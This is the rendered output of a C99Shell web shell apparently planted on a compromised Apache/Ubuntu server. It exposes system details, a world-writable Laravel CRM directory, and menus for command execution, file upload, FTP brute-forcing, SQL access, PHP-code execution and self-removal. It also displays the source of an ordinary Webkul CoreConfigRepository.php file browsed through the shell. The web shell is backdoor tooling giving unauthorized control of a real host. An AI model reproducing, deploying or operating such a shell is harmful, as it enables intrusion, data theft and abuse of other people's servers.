!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Core/src/Repositories/   drwxrwxrwx
Free 13.18 GB of 57.97 GB (22.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CoreConfigRepository.php (6.96 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Core\Repositories;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\Support\Str;
use 
Webkul\Core\Contracts\CoreConfig;
use 
Webkul\Core\Eloquent\Repository;

class 
CoreConfigRepository extends Repository
{
    
/**
     * Specify model class name.
     */
    
public function model(): string
    
{
        return 
CoreConfig::class;
    }

    
/**
     * Get the configuration title.
     */
    
protected function getTranslatedTitle(mixed $configuration): string
    
{
        if (
            
method_exists($configuration'getTitle')
            && ! 
is_null($configuration->getTitle())
        ) {
            return 
trans($configuration->getTitle());
        }

        if (
            
method_exists($configuration'getName')
            && ! 
is_null($configuration->getName())
        ) {
            return 
trans($configuration->getName());
        }

        return 
'';
    }

    
/**
     * Get children and fields.
     */
    
protected function getChildrenAndFields(mixed $configurationstring $searchTerm, array $path, array &$results): void
    
{
        if (
            
method_exists($configuration'getChildren')
            || 
method_exists($configuration'getFields')
        ) {
            
$children $configuration->haveChildren()
                ? 
$configuration->getChildren()
                : 
$configuration->getFields();

            
$tempPath array_merge($path, [[
                
'key'   => $configuration->getKey() ?? null,
                
'title' => $this->getTranslatedTitle($configuration),
            ]]);

            
$results array_merge($results$this->search($children$searchTerm$tempPath));
        }
    }

    
/**
     * Search configuration.
     *
     * @param  array  $items
     */
    
public function search(Collection $itemsstring $searchTerm, array $path = []): array
    {
        
$results = [];

        foreach (
$items as $configuration) {
            
$title $this->getTranslatedTitle($configuration);

            if (
                
stripos($title$searchTerm) !== false
                
&& count($path)
            ) {
                
$queryParam $path[1]['key'] ?? $configuration->getKey();

                
$results[] = [
                    
'title' => implode(' > ', [...Arr::pluck($path'title'), $title]),
                    
'url'   => route('admin.configuration.index'Str::replace('.''/'$queryParam)),
                ];
            }

            
$this->getChildrenAndFields($configuration$searchTerm$path$results);
        }

        return 
$results;
    }

    
/**
     * Create core configuration.
     */
    
public function create(array $data): void
    
{
        unset(
$data['_token']);

        
$preparedData = [];

        foreach (
$data as $method => $fieldData) {
            
$recursiveData $this->recursiveArray($fieldData$method);

            foreach (
$recursiveData as $fieldName => $value) {
                if (
                    
is_array($value)
                    && isset(
$value['delete'])
                ) {
                    
$coreConfigValues $this->model->where('code'$fieldName)->get();

                    if (
$coreConfigValues->isNotEmpty()) {
                        foreach (
$coreConfigValues as $coreConfig) {
                            if (! empty(
$coreConfig['value'])) {
                                
Storage::delete($coreConfig['value']);
                            }

                            
parent::delete($coreConfig['id']);
                        }
                    }

                    continue;
                }
            }

            foreach (
$recursiveData as $fieldName => $value) {
                if (
is_array($value)) {
                    foreach (
$value as $key => $val) {
                        
$fieldNameWithKey $fieldName.'.'.$key;

                        
$coreConfigValues $this->model->where('code'$fieldNameWithKey)->get();

                        if (
request()->hasFile($fieldNameWithKey)) {
                            
$val request()->file($fieldNameWithKey)->store('configuration');
                        }

                        if (
$coreConfigValues->isNotEmpty()) {
                            foreach (
$coreConfigValues as $coreConfig) {
                                if (
request()->hasFile($fieldNameWithKey)) {
                                    
Storage::delete($coreConfig['value']);
                                }

                                
parent::update(['code' => $fieldNameWithKey'value' => $val], $coreConfig->id);
                            }
                        } else {
                            
parent::create(['code' => $fieldNameWithKey'value' => $val]);
                        }
                    }
                } else {
                    if (
request()->hasFile($fieldName)) {
                        
$value request()->file($fieldName)->store('configuration');
                    }

                    
$preparedData[] = [
                        
'code'  => $fieldName,
                        
'value' => $value,
                    ];
                }
            }
        }

        if (! empty(
$preparedData)) {
            foreach (
$preparedData as $dataItem) {
                
$coreConfigValues $this->model->where('code'$dataItem['code'])->get();

                if (
$coreConfigValues->isNotEmpty()) {
                    foreach (
$coreConfigValues as $coreConfig) {
                        
parent::update($dataItem$coreConfig->id);
                    }
                } else {
                    
parent::create($dataItem);
                }
            }
        }

        
Event::dispatch('core.configuration.save.after');
    }

    
/**
     * Recursive array.
     */
    
public function recursiveArray(array $formDatastring $method): array
    {
        static 
$data = [];

        static 
$recursiveArrayData = [];

        foreach (
$formData as $form => $formValue) {
            
$value $method.'.'.$form;

            if (
is_array($formValue)) {
                
$dim $this->countDim($formValue);

                if (
$dim 1) {
                    
$this->recursiveArray($formValue$value);
                } elseif (
$dim == 1) {
                    
$data[$value] = $formValue;
                }
            }
        }

        foreach (
$data as $key => $value) {
            
$field core()->getConfigField($key);

            if (
$field) {
                
$recursiveArrayData[$key] = $value;
            } else {
                foreach (
$value as $key1 => $val) {
                    
$recursiveArrayData[$key.'.'.$key1] = $val;
                }
            }
        }

        return 
$recursiveArrayData;
    }

    
/**
     * Return dimension of the array.
     */
    
public function countDim(array|string $array): int
    
{
        if (
is_array(reset($array))) {
            
$return $this->countDim(reset($array)) + 1;
        } else {
            
$return 1;
        }

        return 
$return;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--